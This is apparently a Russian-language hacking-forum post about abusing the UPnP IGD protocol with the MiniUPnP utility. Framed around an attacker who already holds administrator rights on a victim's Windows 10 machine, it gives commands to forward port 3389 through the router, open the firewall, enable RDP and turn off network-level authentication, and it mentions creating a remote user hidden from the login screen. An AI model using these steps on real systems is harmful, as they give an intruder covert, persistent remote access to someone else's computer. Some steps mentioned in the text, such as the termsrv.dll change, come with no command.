Введение
Здравствуйте жители и гости CodeBy! Хочу сделать маленький обзор одной утилиты для работы с UPnP IGD и продемонстрировать как злоумышленник может использовать этот протокол в своих целях (точнее один из возможных сценариев). Полагаю как вы уже знаете UPnP (Universal Plug and Play) - это набор сетевых протоколов упрощающих настройку сетевых устройств в локальной сети. Одним из них и является IGD (Internet Gateway Device Protocol) - протокол для динамического проброса портов в сетях NAT. Наверное вы подумали что проблема затрагивает только IPv4. Но нет, не смотря на то что в IP шестой версии нету "преобразования сетевых адресов" и каждое устройство в сети получает публичный адрес, во второй версии стандарта UPnP IGD для него нашлось решение - Pinhole. Он задает инструкцию межсетевому экрану для разрешения трафика через определенные порты по определенным протоколам к определенным сетевым адресам.
Основная часть
Допустим мы имеем доступ к компьютеру жертвы под управлением Windows 10 и заполучили привилегии администратора.
Скачаем утилиту MiniUPnP и загрузим ее к нашей жертве
Bash:
wget https://github.com/miniupnp/miniupnp/releases/download/miniupnpc_2_1/win32-miniupnpc-2.1.zip
unzip win32-miniupnpc-2.1.zip -d miniupnpc
Нам нужен только экзешник upnpc-static.exe из скачанного архива.
При запуске без дополнительных параметров выводится следующая инструкция:
Код:
Usage : upnpc-static.exe [options] -a ip port external_port protocol [duration]
Add port redirection
upnpc-static.exe [options] -d external_port protocol <remote host>
Delete port redirection
upnpc-static.exe [options] -s
Get Connection status
upnpc-static.exe [options] -l
List redirections
upnpc-static.exe [options] -L
List redirections (using GetListOfPortMappings (for IGD:2 only)
upnpc-static.exe [options] -n ip port external_port protocol [duration]
Add (any) port redirection allowing IGD to use alternative external_port (for IGD:2 only)
upnpc-static.exe [options] -N external_port_start external_port_end protocol [manage]
Delete range of port redirections (for IGD:2 only)
upnpc-static.exe [options] -r port1 [external_port1] protocol1 [port2 [external_port2] protocol2] [...]
Add all redirections to the current host
upnpc-static.exe [options] -A remote_ip remote_port internal_ip internal_port protocol lease_time
Add Pinhole (for IGD:2 only)
upnpc-static.exe [options] -U uniqueID new_lease_time
Update Pinhole (for IGD:2 only)
upnpc-static.exe [options] -C uniqueID
Check if Pinhole is Working (for IGD:2 only)
upnpc-static.exe [options] -K uniqueID
Get Number of packets going through the rule (for IGD:2 only)
upnpc-static.exe [options] -D uniqueID
Delete Pinhole (for IGD:2 only)
upnpc-static.exe [options] -S
Get Firewall status (for IGD:2 only)
upnpc-static.exe [options] -G remote_ip remote_port internal_ip internal_port protocol
Get Outbound Pinhole Timeout (for IGD:2 only)
upnpc-static.exe [options] -P
Get Presentation url
protocol is UDP or TCP
Options:
-e description : set description for port mapping.
-6 : use ip v6 instead of ip v4.
-u url : bypass discovery process by providing the XML root description url.
-m address/interface : provide ip address (ip v4) or interface name (ip v4 or v6) to use for sending SSDP multicast packets.
-z localport : SSDP packets local (source) port (1024-65535).
-p path : use this path for MiniSSDPd socket.
-t ttl : set multicast TTL. Default value is 2.
Поищем работающий сервис UPnP IGD в нашей сети и проверим его состояние. (В смысле в сети жертвы)
Ссылка скрыта от гостей
, еще это пригодится если в сети несколько роутеров с включенным UPnP.
Код:
upnpc-static.exe -u http://192.168.0.254:5678/desc/root -l
Такие программы как Skype, uTorrent и даже WhatsApp активно пользуются этим сервисом. Впрочем в нашей ситуации мы видим проброшенный порт программой uTorrent.
Давайте к делу
Скрытно от нашей жертвы создадим пользователи удаленного управления, такой пользователь не виден на экране входа.
Проброс порта 3389 (Windows RDP), скати мы можем задать время жизни редиректа, если ничего не указывать редирект будет статичным. В UPnP IGD V2 максимально допустимый срок это 7 дней.
Код:
upnpc-static.exe -u http://192.168.0.254:5678/desc/root -e Management -a 192.168.0.29 3389 3389 TCP
Код:
netsh advfirewall firewall add rule name="Management" protocol=TCP dir=in localport=3389 action=allow
По умолчанию обычный Windows не позволяет одновременно работать более чем одному пользователю, поэтому исправим это недоразумение. Скачаем файл C:\Windows\System32\termsrv.dll себе на комп.
Код:
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0
На этом все подошло к концу и наша жертва готова не много поделиться с нами со своими ресурсами. Подключаемся к его публичному адресу и попадаем на компьютер в локальной сети.
Можно подключиться прямо с Kali Linux, для этого
Код:
powershell "Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 0"
Видео к статье:
Ссылка скрыта от гостей
Ссылка скрыта от гостей
Открываем порты за NAT при помощи NAT-PMP и UPnP IGD
Пожалуй на этом я закончу. Всем спасибо за внимание и до скорой встречи!
Последнее редактирование: